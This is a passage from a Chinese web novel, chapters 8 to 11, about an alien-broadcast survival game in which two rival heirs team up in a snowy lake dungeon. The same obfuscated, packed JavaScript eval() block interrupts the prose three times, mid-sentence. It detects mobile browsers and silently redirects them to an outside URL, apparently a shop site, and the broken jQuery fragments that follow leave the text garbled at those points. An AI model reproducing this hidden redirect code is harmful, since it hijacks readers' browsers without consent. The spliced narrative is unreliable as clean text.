祝承仪沉默了一下,不确定能不能和弹幕沟通,但还是说了句:“还是谢谢大家的喜欢,我们游戏里再见。”
然后指尖毫不犹豫,关闭了直播间。
【直播状态:玩家自主关闭】
最后几秒她看见弹幕飘过。
【啊!不要啊~】
8. 进入副本前
直播关闭后,祝承仪这才后知后觉地感到一阵空腹感涌上来。
现实里她一早就在忙着筹备宴会,紧接着突发意外进入生死一线的选拔赛,也不知道过了多久,但身体一放松下来,胃最先开始扛不住了。
祝承仪抬眼看向左侧的自助餐厅,暖光从玻璃隔断里透出来,甜品区还亮着灯,玻璃柜里摆着整齐的小蛋糕、曲奇和温热的饮品,淡淡的甜香味弥漫着空气中。
她没多犹豫,径直走了过去。
餐厅感应门自动打开,里面安静整洁,里面依旧没有人,祝承仪拿了个干净的白瓷盘,挑了三块不同口味的蛋糕,又拿了水果和果汁,然后找了个靠窗的角落坐下。
窗外阳光明媚,却看不清外面的景色,仿佛整个空间被白雾笼罩。
祝承仪收回目光,安安静静得解决完面前的食物,插起葡萄送进嘴里,指尖点开直播间旁边的附加小箭头。
【直播间观众来源:HZ星球】
【星球等级:高等文明星域】
【观看权限:星球公民专属】
【互动道具:营养液、霸王票,人气收藏值】
HZ星球,闻所未闻,像是一个完全独立于地球之外的高等文明。
原来围观她们这场生死游戏的,根本不是地球人。
祝承仪心里轻轻沉了一下,却没太多慌乱。
连无限游戏、副本、San值这种匪夷所思的东西都真实存在,多一个外星观众,似乎也没那么难以接受。
看来小说里写的东西也不全是虚构的,正想着祝承仪便感觉一阵心痛,她好不容易从那些老狐狸手里抢回来的集团,还没捂热乎呢!
祝承仪将手表熄屏,□□起一个草莓咀嚼着,心情正不悦,一道熟悉的脚步声慢慢靠近,停在了她的餐桌旁。
祝承仪连眼神都懒得抬。
下一秒,身侧的真皮沙发往下陷了陷,梅绛雪直接坐在她旁边。
祝承仪垂眸,目光先落在他手臂上和自己同款颜色的运动服袖子上,黑色手表戴在他的手腕上。
视线慢慢上移,最终停在梅绛雪眉眼间,阳光透过落地窗洒进来,落在他浅棕色的瞳孔里,像极了她之前拍卖得到的那颗琥珀宝珠。
祝承仪把水果叉往餐盘上一放,发出轻脆的声响,没好气地说道:“离我远点。”
梅绛雪从她餐盘中,捏起一颗葡萄,轻轻挑了下眉,在祝承仪瞪圆的目光中送入口中,浅棕色的眸子里漾开了笑意:“嗯,还挺甜的。”
祝承仪也吃饱了,开始有些犯困,她懒得再理梅绛雪,直接站起身,理了理浅灰色的运动服下摆,理直气壮:“喜欢吃,剩下给你了,盘子也你收拾了吧。”
说完,她转身就走,半分留恋都没有,留下梅绛雪一个人坐在沙发上,眼底笑意却又浓了几分。
刚走出自助餐厅的玻璃门,祝承仪就迎面碰见了何欣愿。
“祝承仪!”
何欣愿眼睛一亮,小跑着迎了上来,她刚体检完,也换上了统一的浅灰色运动服,手腕上戴着白色游戏手表。
祝承仪对着何欣愿微微点头,两个人打了个招呼,何欣愿饿了打算去觅食,祝承仪说自己刚吃完去睡觉。
两个人简单地交流了几句话便告别,祝承仪转身径直朝着大厅中央的弧形环岛接待台走去。
她刚才就在疑惑,这么大的游戏大厅,为什么除了他们几个新人,半个人影都看不见。
走到前台,里面坐着的依旧是那张笑容标准的假人面孔。
祝承仪刚走近,工作人员便开口询问:“欢迎玩家回来,请问有什么事情可以帮您的?”
祝承仪开口询问:“为什么游戏大厅里,除了我们这批新人,没有其他玩家?”
“检测到当前新玩家选拔赛刚结束不久,游戏大厅仍处于新老玩家隔离期。”
“为避免新老玩家信息混乱,系统将自动对新玩家批次进行单独封闭管理,暂时不与其他玩家互通区域,待正式副本开启后,大厅将恢复正常通行,届时会有更多玩家出现。”
原来如此,祝承仪淡淡点头:“知道了,我还有一个问题,是不是男玩家戴黑色游戏手表,女玩家戴白色游戏手表?”
“是的,游戏手表是可以验证玩家身份的唯一途径,请谨慎保管。”
祝承仪了然,工作人员检测到她没有其他问题要问了,便说道:“祝您在游戏大厅休整愉快。”
工作人员躬身,话落再度变成静止的假人状态。
祝承仪转身走向导航标注的睡眠休息区电梯,抬手将白色手表贴近感应区,金属质感的电梯门便无声向两侧滑开。
电梯内没有任何多余按键,只靠玩家手表权限自动识别楼层,电梯很快到达,金属门打开直通房间。
【滴——004N玩家祝承仪,欢迎入眠】
【当前积分排名:未上榜】
【住宿标准:低标准基础单人间】
祝承仪进入房间,金属门关闭,房间超级小,目之所及只有一张窄款单人床,床垫偏硬,铺着干净的白色床品。
床边勉强留出一条能过人的空隙,除此之外,没有桌子,没有椅子,没有窗户,连洗手间都没有。
唯一的优点,就是干净整洁,没有任何异味。
祝承仪环顾一圈,心里瞬间明白。
住宿条件是跟积分排名挂钩,积分越高,排名越靠前,住得就越舒适,像她这样还没参与过正式副本、积分排名全无的新人,就只能分配这种最简陋的单间。
祝承仪倒也不挑剔,之前派去海外学习,什么环境没住过,父母美其名曰“吃得苦中苦,方为人上人。”
有地方睡觉休息就不错了,养精蓄锐才是硬道理。
祝承仪关上灯,拖了鞋直接侧身躺上单人床,闭上眼睛,狭小的房间里很快响起平稳的呼吸声。
当她再次睁开眼时,四周一片漆黑,狭小封闭的空间静得可怕,四面墙壁近在咫尺,有种躺在棺材里的错觉。
在这种环境下,人总会下意识觉得空虚,会产生被全世界抛弃的孤独感,祝承仪也不例外,半年前父母航班出事后,她冷静地把一切处理好,和那群老狐狸斗智斗勇,拿回集团。
很长一段时间,她在家都不敢开灯,客厅里留着父母生前的温度,灯光却刺眼得让她心慌,只有把所有灯都关掉,借着窗外微弱的路灯,她才能勉强睡一会儿。
在之后,她习惯了这种被黑暗包裹着的感觉,甚至觉得,只有在看不见光的时候,才能暂时不用绷紧神经。
可现在,躺在这连窗户都没有,像棺材一样的小房间里,一个从未敢深想的念头,忽然冒了出来。
当初父母航班失事,她动用了所有关系去查,结果明明白白的显示是意外,无任何人为痕迹。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526645|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所有证据都完美得挑不出一点问题。
如果那场航班根本不是意外?
如果父母,根本没有死?
如果他们,也像她现在这样,被卷入了某个未知的空间,某个看不见尽头的副本里?
祝承仪的心脏猛地一缩,连呼吸都顿了半拍。
也许他们还活着。
也许他们也在一场又一场副本里挣扎求生。
祝承仪猛地坐起身,这个念头一旦冒出来,就再也压不下去。
她想到当时说明书里未显示的第十一条内容。
【出副本要求达……(更多说明待解锁)】
这里藏着太多秘密。
看来一些她想知道的,想探寻的东西,还需要自己努力过副本,获得更多的人气值和积分值,爬到积分榜最前列,她才有权利触碰这游戏更多的秘密。
父母是不是还在某个她看不见的地方活着?
那场航班和她的死是不是意外?
这个由HZ星球观看的无限游戏,背后到底藏着什么?
答案,全藏在这里。
祝承仪抬手按亮手表,微弱的光在漆黑的小屋里亮起。
【距离C级副本开启:2小时46分】
她穿鞋、起身、抬手按在门上。
电梯正在向下,祝承仪此刻内心格外坚定,她要赢,她要爬到最高点。
“叮——”
电梯抵达大厅楼层,门缓缓向两侧滑开。
自助餐厅依旧亮着灯,此时凌晨五点,正是早饭用餐时间,陆陆续续的五名新玩家都来到了这里。
虽然是早饭,但餐食超级多样性,横跨各个国家的经典料理。
祝承仪拿了碗拌面和一大份煎牛柳,又额外夹了两颗水煮蛋,一杯拿铁,把餐盘堆得满满当当。
经历过新玩家选拔赛,她有预感接下来的副本对于体力消耗肯定会很大,蛋白质和碳水必须拉满,肉更是不能少。
她还是选择了下午一开始靠窗的位置,何欣愿拿完餐食,走到她旁边,礼貌的问道:“我可以坐这里吗?”
祝承仪抬头看了她一眼,点了下头:“可以。”
何欣愿立刻轻轻坐下,把餐盘放好,有点紧张又有点期待地看着她,小声试探:“祝承仪,那我可以喊你祝祝吗?”
她顿了顿,怕祝承仪不高兴,又连忙补充:“要是不介意的话,你也可以叫我小愿,我没有别的意思,我很喜欢你,而且你很厉害,都说多个朋友多条路,我想和你组队,我绝对不会拉后腿的。”
祝承仪眨了下眼,在原本的世界,她虽然长相清冷,让人有些难以接近,但其实最会护着身边的人,也最看重真心。
看着主动靠近她的何欣愿,祝承仪还是点了下头,语气平静:“可以,但是丑话说到前面,我并无害人之心,但也不会让刀捅我身上。”
小愿立刻用力摇头,小手摆得飞快:“你放心祝祝,我绝对不会害你!我肯定会是你的得力队友!”
祝承仪神色缓了下来,轻轻“嗯”了一声:“知道了,吃饭吧,吃完准备进副本了。”
“好!”
梅绛雪没往祝承仪身边凑,挑了个靠近里面的位置,他观察到剩下两名玩家,一个叫赵一,一个肖二正坐在角落,不知道在窃窃私语什么。
时间在倒计时,C级副本要开始了。
9. 湖心亭看雪(1)
【叮咚——游戏还有五分钟即将开始,请各位玩家做好准备】
【道具抽取:新玩家无抽取权利】
作为第一次进正式副本,大家多多少少都有些紧张和激动,五分钟结束,游戏开始。
【副本载入中,祝各位玩家……游戏愉快】
系统音落下的瞬间,祝承仪只觉得眼前一黑,紧接着便是天旋地转的失重感,仿佛被人扔进了滚筒洗衣机,五脏六腑都错了位。
眼前一黑又一亮,最先感受到是风中传来的寒冷,那股冷意裹着细碎的雪粒,砸在身上。
抬眼望去,天地间尽是茫茫大雪,处处皆是一片白雾,鹅毛大雪落下无声,肩头转瞬便积了薄霜。
四下里静得可怕,连风刮过的声响都被厚雪吞了去。
“哕,怎么系统传送副本还是如此粗鲁,我要吐了!”
耳边响起陌生的吐槽音。
祝承仪刚站定,游戏手表便开始发烫,副本规则弹了出来。
【C级副本:?未知?】
【副本类型:阵营本(三十人)】
【通关要求:存活72小时,探寻副本核心真相】
【提示:未知,玩家可在副本内自行摸索,副本游戏进行中可随意杀人】
【当前剩余时间:71:59:47】
雪粒打在脸上生疼,大家还穿着游戏大厅提供的统一服装,单薄的衣服根本扛不住这寒意,怕是还没等到游戏结束,他们就要被冻死了。
但衣服鞋子应该是经过特殊处理,落在上面的雪化了也不会浸湿布料,鞋底踩进积雪里,也只沾了薄薄一层浮雪,不会冻得人脚底发僵。
可保暖终究是奢望,不一会儿就冻得牙关打颤。
祝承仪超级怕冷,这时都忍不住想骂脏话,牙关咬得发紧,胳膊上的鸡皮疙瘩一层叠一层。
她将双臂抱在胸前,抬眸扫视了一圈,周围雪野无边无际,目之所及皆是陌生的身影。
何欣愿和她不在一起,显然系统是随机分配了玩家位置。
周遭的玩家们反应各异。
“啥情况?副本名字也没有,提示也没有,这还怎么玩啊?”
“我去,这也太冷了吧,我买的衣服呢,怎么又是这该死的运动服,难看死了。”
“冷吗?”梅绛雪倒是冤家不对乎,和她分配到一起了。
梅绛雪目光落在她冻得微红的鼻尖,悄悄往她身前挪了几步,正好挡住刮来的风,唇瓣微动,用只有两人能听见的声音道:“要不要暂时休战,合作共赢。”
祝承仪抬眼睨他,抬手捂了捂耳朵,心里暗骂这冤家阴魂不散,嘴上却没硬撑。
她往梅绛雪身侧又挪了半步,借着他挡来的风稍缓了寒意:“可以,但我们要不是同一个阵营的话,我是不会对你手下留情的。”
梅绛雪低笑一声,暖棕色的眸子在雪色里漾开一点浅光,没再打趣:“好。”
祝承仪观察到,周遭十多个玩家皆是各守一方,人人都裹着单薄的衣服缩着肩,目光在彼此身上来回游移,满是试探与忌惮。
【可随意杀人】的规则,但系统没标阵营,没给线索,谁也不敢确定身边的人是友是敌,哪怕有人眼神交汇,也会立刻移开,刻意拉开数米的距离,没人敢轻易搭话,更不敢贸然靠近。
片刻后,有人率先动了,一个瘦高男生警惕地看了眼四周,抬脚往雪雾较浅的方向走,脚步放得极轻。
紧接着,又有几人陆续分散,有孤身一人,有暂时组队的,都各自朝着不同方向摸索,雪地里很快落下一串脚印,转眼又被新雪覆盖。
祝承仪和梅绛雪对视一眼,转身朝着雪野深处走去。
两人步伐不快,却始终保持着半步的距离。
雪还在无声地下着,鹅毛大雪飘满天地,四下人鸟声俱绝,只有两人踩在积雪上的咯吱声,在空茫的雪野里格外清晰。
沿途偶尔能看到其他玩家的身影,皆是远远避开。
这茫茫白雪,成了人人自危的生死场。
不知道走了多久,雪势丝毫没有减弱的迹象,反而越来越大,能见度也越来越低。
祝承仪手脚已经冻得有些僵硬,脸颊更是开始发痛,呼吸间吐出的白雾转瞬便散在寒风里。
按照副本规则,72小时的存活时间只是基础,找到副本核心真相才是通关的关键。
只是,这茫茫雪野,除了雪还是雪,连一点建筑物或者特殊地形的影子都没有,线索究竟藏在哪里?
就在这时,她腕间游戏手表突然一烫,弹出时间报时。
【提示副本当前时间:20:00】
报时音落下的瞬间,天地间的光亮骤然被抽走,原本泛着白的雪野瞬间陷入浓黑。
只有漫天大雪还在黑暗里无声飘落,落在身上的触感,竟比白日里更冷了几分。
视线骤然被黑暗吞噬,祝承仪眼眶莫名发酸,脚下的积雪在夜色里没了分界,只觉脚下一空,身体不受控制地往前扑。
失重感袭来的瞬间,手腕突然被一股温热的力道攥住。
祝承仪踉跄着站稳,后背撞进一个坚实的胸膛,鼻尖蹭到对方颈间淡淡的香味,是梅绛雪身上的味道。
“看路。”梅绛雪的声音在耳边响起,他攥着她手腕的手没立刻松开,只往旁边带了带,将她拉到身侧稍平的雪地上,“你眼神不好,夜里雪层薄厚不均,你跟着我的脚步走。”
祝承仪下意识反驳:“你才眼神不好!”
梅绛雪一愣,随即反应过来她误会了,语气是难得的认真:“我没骂你,是说你夜盲。”
梅绛雪顿了顿,想起祝承仪很小的时候,他俩年纪相差四岁,那时她还是个跟在他身后奶声奶气喊人,却又爱犟嘴的小丫头。
一次夜里在梅家老宅的花园里玩捉迷藏,她愣是撞在假山石上磕红了额头。
那时候祝承仪哭得老惨了,梅绛雪哄了老半天才把她情绪安抚下来。
后面她被家里人送医,才查出是天生的夜盲,到了暗处视线便会模糊,对光影的分辨力本就比常人弱上许多。
这些陈年旧事,梅绛雪本以为早就掩埋在这些年针锋相对的岁月中,没想到此刻竟然还记得。
他自己都有点惊讶。
祝承仪没有情绪地“哦”了一声,手腕处感受到温暖,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526646|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一时之间竟有些贪念,没舍得挣开。
梅绛雪压下心头涌起的情绪,干脆松开攥着她手腕的手,反手扣住她的掌心,十指相扣将那只冰凉的手完完全全包在自己温热的掌心里。
“别愣着,踩着我的脚印走。”梅绛雪抬脚在身前踩出一个深深的雪印,又侧头解释道,“我只是怕你冻死了,万一我们是同一个阵营的,少一个人就少一分胜算。”
祝承仪的指尖僵了僵,掌心被他的温度烘着,暖意顺着指腹一点点漫上来,连带着冻得发麻的指尖都缓过了些劲。
她没说话,也没挣开,只是默默抬脚,精准踩进他踩出的雪印里,脚步跟随着他的节奏,一前一后,慢慢往前。
黑暗里视线模糊,两人的距离贴得极近,手臂偶尔相碰,祝承仪靠着掌心相扣的力道感知他的方向,听着梅绛雪沉稳的脚步声。
周遭依旧死寂,祝承仪突然不说话,梅绛雪倒还有些不习惯,他清了下嗓:“嗯……你怎么不说话?”
祝承仪一个问题想了好久,梅绛雪突然问她,令她猝不及防,口出惊人得把问题秃噜出来:“你是不是身体有毛病?”
梅绛雪闻言脚步猛地一顿,牵着她的手都紧了紧:“不是,我这算帮你的吧,你怎么还骂我。”
祝承仪轻咳了一下,意识到自己不小心把内心os说了出来,但依旧嘴硬:“那么冷的天,你的手却还是那么热乎,是不是身体有问题啊?”
她说着还故意把自己的指尖往他掌心更深处塞了塞,一副理不直气却壮的样子。
梅绛雪被她戳的掌心微痒,抬起另外一只手,屈指弹了下她的额头:“天生的火力旺,比不得某些人天生怕冷,还夜盲,走个夜路都能踩空。”
“你!”祝承仪气得抬手想捶他,却被梅绛雪一把拦住,“这里也走不到尽头了,先去找一个地方歇脚吧。”
“哦。”祝承仪也是这样想的,任由他牵着自己往前走。
黑暗里,两人的脚步声渐渐同步,咯吱的踩雪声混着风雪的轻响,成了这死寂雪野里唯一的动静。
而此刻副本之外的HZ星球直播间,早已被密密麻麻的弹幕刷爆。
【我去!十指相扣?这叫死对头?我不信!】
【梅绛雪口嫌体正直实锤了!嘴上说着怕少个队友,手却攥得死紧,磕死我!!!】
【死对头就是妻子好叭,同意的扣一】
【1111111111】
【笑死了,两个人是恋爱白痴吧,果然是对抗路cp】
【雪夜、牵手、护着走,这氛围感拉满了好嘛,说好的恐怖无限流呢?怎么变成恋爱频道了?】
【开盘啦,赌他们俩能不能顺利通过这个副本?】
【我赌可以,毕竟这只是一个C级副本】
【我看不见得,现在什么线索都没有,谈情说爱死得快】
直播间的弹幕刷得飞快,果然磕cp才是人之根本,两个人的直播间人气值都因此往上涨了涨。
不知道又走了多久,这附近什么线索都没有,祝承仪突然拉了一下梅绛雪,压低声音:“有水汽,带着股淡淡的鱼腥味,前面应该有湖。”
10. 湖心亭看雪(2)
梅绛雪闻言立刻收住脚步,牵着她的手紧了紧,俯身凑近雪地轻嗅,果然闻到一丝混着鱼腥的水汽味。
他抬眼望向黑暗深处,低声应道:“嗯,小心点,湖边冰面薄厚不定。”
两人循着水汽又走了百十来步,眼前的雪雾忽然淡了些。
漫天飞雪的天地间,一片开阔的冰湖渐渐显露轮廓,湖面结着厚冰,泛着冷幽幽的光,像一块巨大的墨玉镶嵌在雪里。
【叮咚——触发新线索:水代表着生机】
同一时间,祝承仪和梅绛雪的手表振动,弹出消息。
水是生机,这线索虽浅显,却在这茫茫雪野里给了两人明确的方向,湖附近,必然藏着更多线索,甚至可能是安全的歇脚处。
“先在湖边找个落脚点。”梅绛雪握紧她的手,目光扫过湖岸线,“等天亮再沿湖探索。”
祝承仪没有反驳,同意他的说法。
两人沿着湖岸缓缓前行,脚下的冰面偶尔发出细碎的咔嚓声。
湖岸线蜿蜒曲折,岸边散落着几块巨大的岩石,雪压弯了一整片枯槁的芦苇丛。
梅绛雪正想拉着祝承仪躲到一块背风的巨石后,身后突然传来一阵急促的脚步声。
祝承仪下意识拽了一把梅绛雪,手扶在巨石上,梅绛雪会意,把祝承仪往巨石阴影里带了带,两人紧紧贴在冰冷的岩石后,屏住了呼吸。
急促的脚步声越来越近,还夹杂着两道粗重的喘息。
紧接着,一束刺眼的白光扫过雪地,瞬间划破了黑暗。
祝承仪眯眼望去,借着那道光线,看清了来人的模样,竟是新玩家选拔赛中,和他们一同通关的赵一和肖二。
肖二手里握着手电筒,两人神情慌张,脸色惨白,跑起来跌跌撞撞,像是在被什么东西追赶。
“快!再快点!别被追上了!”肖二声音都在发颤,手电筒的光抖得厉害。
赵一紧跟在他身后,牙齿打颤,嘴里不停念叨:“太可怕了……那到底是什么东西……我们还是找个地方躲起来吧!”
“躲?躲哪里?”肖二回头瞪了他一眼,“刚才那两个人就是躲在雪坑里,被硬生生拖走的!只有湖边可能安全,系统都说了水是生机!”
两人的脚步声匆匆掠过巨石前,手电筒的光线扫过冰湖,却压根没往巨石阴影处停留。
他们此刻满心都是恐惧,只想尽快找到安全的地方,根本无暇顾及周遭的动静。
直到两人的身影消失在湖岸的拐角,脚步声渐渐远去,祝承仪眼前再度陷入黑暗。
梅绛雪怕她眼睛适应不了,刚想抬手捂住她的眼睛,祝承仪却凭借着位置,精准的拿开了他的手。
“是赵一和肖二。”祝承仪低声道,“看他们的样子,应该是发现了什么危险的东西。”
梅绛雪正准备开口,湖上突然起了雾。
雾气来得迅猛又诡异,短短几秒钟便弥漫了整片湖面,冰冷的雾珠“吧嗒”落在祝承仪脸上,猝不及防冰的她打了个寒颤。
刚才还能隐约看到的湖对岸,此刻彻底消失在雾中,只剩下无边无际的白。
“又起雾了。”
梅绛雪话音刚落,浓雾便以肉眼可见的速度翻涌扩散,将湖岸、岩石、芦苇丛尽数吞没,连呼吸间都裹着湿冷的雾气,呛得人喉咙发紧。
此刻天地一片寂静,只能听见彼此浅浅的呼吸声,还有雾气中偶尔传来的、细碎的冰面开裂声。
雾气翻涌间,隐约有一道微弱的橘黄色火光穿透浓雾,在湖中心忽明忽暗地亮起。
“那是什么?”祝承仪已经被梅绛雪圈进怀里,透过他肩头的缝隙,隐隐看到一丝光亮。
随着光越来越近,浓雾渐渐朝着两侧散开,一艘木质小舟的轮廓缓缓浮现。
舟身泛着陈旧的深棕色光泽,边缘结着薄薄的冰碴,却在结冰的湖面上如履平地般滑行,没有桨叶划动的痕迹,仿佛被无形的力量牵引着,悄无声息地在湖面行驶。
舟上,一道人影静坐于中央,身前摆着一个黄铜火炉,火光正是从炉中透出,映得那人的衣袍边缘泛着暖光。
可那舟上人的模样,依旧隐在火光与雾气的阴影里,看不真切,只觉得那道静坐的身影,透着一股说不出的僵硬。
火炉里的柴火偶尔噼啪作响,溅起几点火星,落在冰冷的舟板上瞬间熄灭。
炉边还放着一个白瓷酒壶和两个酒杯,水汽氤氲,似乎正煮着热酒,连带着周遭的雾气都染上了一丝淡淡的酒香。
就在这时,系统音毫无预兆地响起,是全体通报。
【1号阵营已击杀一人】
一句话,像一块冰锥扎进死寂的天地。
祝承仪心猛地一沉,有人开始动手了。
但系统没有说杀的是同阵营还是对方阵营,所以目前只有击杀者能确认自己现在所属的是一号阵营。
这声音落下的刹那,舟上的火光猛地跳了一下,溅起一大簇火星。
紧接着,那道静坐的人影竟以一种极其诡异的姿态“塌”了下去,就像是一层皮内嵌这果肉,果肉被迅速吸干,最后只剩下一张人皮。
又是“咕噜”一声闷响,一颗人头从舟上滚落,顺着冰面朝着湖岸的方向滚来,沿途撞在冰碴上,发出细碎又刺耳的声响。
场面诡异而惊悚。
湖中那道小舟连同着人都消失了,只留下那颗人头在冰面上滚了数圈,最终停在离巨石不远的雪地里。
只是这前后不过几秒的时间,祝承仪却借着已经消失的火光,清清楚楚看见了那颗人头的脸。
是那个吐槽系统传送粗鲁的男生,他的头双眼圆睁,瞳孔涣散,嘴张着,像是还停留在临死前的惊恐里。
脖颈的断口处凝着黑红的血,落在雪地里,瞬间染红了一片白。
祝承仪刚想前去查看,漫天飞雪骤然变密变急,大片大片的雪花落在那颗人头上,落在那滩血渍上,以肉眼可见的速度覆盖。
不过眨眼的功夫,雪地里便恢复了一片纯白,仿佛刚才那颗人头,那滩血,从未出现过。
连血腥味都被风带走的毫无痕迹。
这一切到底是诡异的副本导致的,还是说那个男生的死就是一号阵营的人干的。
还没来得及细细分辨,天地间突然炸开一道刺目的白光,不是渐变的亮,是硬生生从浓黑里劈出来的惨白,晃得两人下意识闭眼。
眼睫被白光灼得生疼,连耳边的风雪声都瞬间消弭,只剩一片死寂的嗡鸣。
再睁眼时,天,骤然亮了。
浓雾散得干干净净,漫天飞雪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526647|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还在落,却落得静悄悄的。
天地间没有一丝杂色,天与云与山与水,上下一白。
远处的雪丘连轮廓都融在白茫里,湖面的冰映着天光,晃得人眼球刺痛。
祝承仪轻咳两声,睫毛挂上了飘下来的雪,她眨了眨眼睛,适应着刺目天光的同时,才后知后觉发现自己还被梅绛雪圈在怀里。
梅绛雪的手臂牢牢扣在她腰侧,掌心的温度透过单薄的运动服渗进来,存在感强得让她浑身不自在。
她微微抬头,视线恰好落在他线条利落的下颌线,才惊觉梅绛雪竟比她高出足有十厘米。
平日里针锋相对惯了,倒从未这般清晰地意识到,他也是个身形挺拔,带着压迫感的男生。
方才黑暗里只顾着观察周遭,此刻天光敞亮,肌肤相触的温度,周身萦绕的香味,都让气氛莫名变得凝滞。
祝承仪心底小声的嘟囔:“吃什么长大的。”
她僵着身子站了几秒,见梅绛雪依旧维持着刚才的姿势,半点没有松开自己的意思。
祝承仪只得硬着头皮,往后挣了挣,梅绛雪却下意识把她压进怀里。
祝承仪身体一僵,声音不自然地偏冷:“喂,你故意的吧,手松开!”
梅绛雪这才回过神,暖棕色的眸子闪过一丝慌乱,他沉了沉心,掩住表情,慢悠悠地收回手臂:“刚亮天,万一还有危险。”
他的指尖离开时,祝承仪像被烫到似的,立刻往后退了两步,拉开半米距离,后背抵在冰冷的巨石上,抬手整理了一下衣服。
梅绛雪看着她嫌弃的动作,喉结轻轻滚动了一下,目光在她脸上停留了两秒,才缓缓移开。
他抬手拂去肩头的落雪,掩饰住眼底的情绪,沉声道:“走吧,去看看。”
祝承仪点点头,率先抬脚朝着湖岸拐角走去,在她转身的同时,梅绛雪悄悄握了下掌心。
【瞧瞧梅绛雪那不值钱的小眼神】
【意犹未尽啊家人们!梅绛雪根本不想松开祝祝吧!】
【梅绛雪还愣着呢,我们祝姐都已经开始查看线索了,果然男人还是比不上事业心啊】
【买定离手,我先磕了,死对头就是妻子嘿嘿~】
弹幕刷得飞快,满屏的起哄,甚至有观众开始刷“营养液”“霸王票”,为两人增加人气收藏值。
“你愣着干嘛?”祝承仪捡起一个枯枝,翻找着刚才人头滚落的地方,刚想问梅绛雪有没有看到更多的线索,一回头发现他还愣在远处。
祝承仪不解地看向他,眉头微皱了一下,然后打了个喷嚏。
感觉体感温度又下降了。
梅绛雪快步走到她身边,目光扫过白茫茫的雪面:“那颗人头消失了,应该找不到任何痕迹了。”
话虽这么说,但他还是弯腰,用手掌轻轻拂开一片积雪,指尖触到冰冷的地面,果然下面干净得没有一丝异常。
祝承仪不甘心地又戳了戳雪层,枯枝插进雪里半寸,除了松软的雪粒,什么都没有。
她直起身,呼出一口白雾,看着眼前无边无际的纯白,心里莫名泛起一丝烦躁。
祝承仪没说话,低头查看游戏手表,此刻游戏手表黑着屏,怎么点击都没有任何反应。
“原地等待,还是往周围再走走?”
11. 湖心亭看雪(3)
祝承仪反复点击游戏手表的屏幕,可那漆黑的屏幕依旧毫无反应。
“查看一下你的手表,能不能打开?”
梅绛雪闻言抬手看了眼自己的黑色手表,情况与祝承仪的一模一样,屏幕漆黑一片,毫无反应。
他摇了摇头,祝承仪猜测:“之前显示时间是晚上八点,或许这手表只有每晚八点才会恢复功能,其余时间都是黑屏状态。”
“副本规则没给任何提示,连时间都要卡着点告知,分明是在逼着玩家入夜后行动。”
“但夜里太危险。”梅绛雪目光扫过刚才人头滚落的方向,话锋一转,“原地等待,还是往周围再走走?”
“先找个更安全的地方原地等待吧。”祝承仪环顾四周,视线停留在芦苇丛后方的半坡,那里地势稍高,背风且能俯瞰整片湖岸,既能遮挡住人形,也能清楚的观察到附近的动向。
她抬手指了指:“去那边,半坡视野开阔,能躲避,也能观察到附近。”
风雪始终未停,很快地面上的积雪已经达到小腿高了,半坡看似很近,但还是要绕过整片芦苇丛往上走。
刚开始,两人还能依靠捡来的枯树枝充当拐杖,可越往上走风越大,寒风裹着雪粒,像刀子一样刮在脸上。
祝承仪不得已放弃自己捡来的枯树枝,开始手脚并用地往上爬。
积雪没到小腿,每往前挪一步,脚都要深深陷进雪里,拔出来时带着沉甸甸的阻力,冻得脚踝发麻。
两个人没有交流,各自埋头爬坡,雪不断落在他们的身上,很快积起薄薄一层,活脱脱两个雪人。
【救命,他俩看着好命苦的样子】
【上面的,他俩已经算岁月静好的了,隔壁玩家都开始大逃杀了,吓死人】
【这不是阵营本吗?哪来的大逃杀】
【你切出去看看就知道了】
爬了好久,祝承仪终于摸到了半坡顶端的平地,她使劲翻了上去,瘫坐在雪地里,大口喘着气,胸口剧烈起伏。
她怕冷,平日里虽进行极限运动,但从不参加任何雪地项目,这一番折腾,身体非但没暖和,感觉浑身的血都被冻住了。
手指冻得僵直,连蜷缩的动作都显得迟钝。
祝承仪瘫坐在雪地里,仰头望着漫天飞雪,胸腔里的空气又变得冷又呛,令她忍不住轻咳起来。
梅绛雪爬到他身边坐好,表情也算不上多好,嘴唇冻得发紫,额前碎发被雪水打湿,冻成冰溜溜。
半坡果然背风,茂密的芦苇丛像一道天然屏障,将凛冽的寒风挡在外侧,只有零星雪粒飘进来,落在两人身上。
从这里往下望去,整片湖还有远处的雪都尽收眼底,任何移动的身影或异常动静都能第一时间察觉。
祝承仪缓了一会儿,才止住咳意。
梅绛雪沉默地打量着四周的芦苇丛,他俯身扯下几根粗壮的芦苇,甩掉上面的积雪,开始低头摆弄起来。
祝承仪瞥了他一眼,没说话,只是默默裹紧了衣服,把自己缩成一团,目光落在下方白茫茫的湖面上,脑海里却在飞速复盘进入副本后的所有细节。
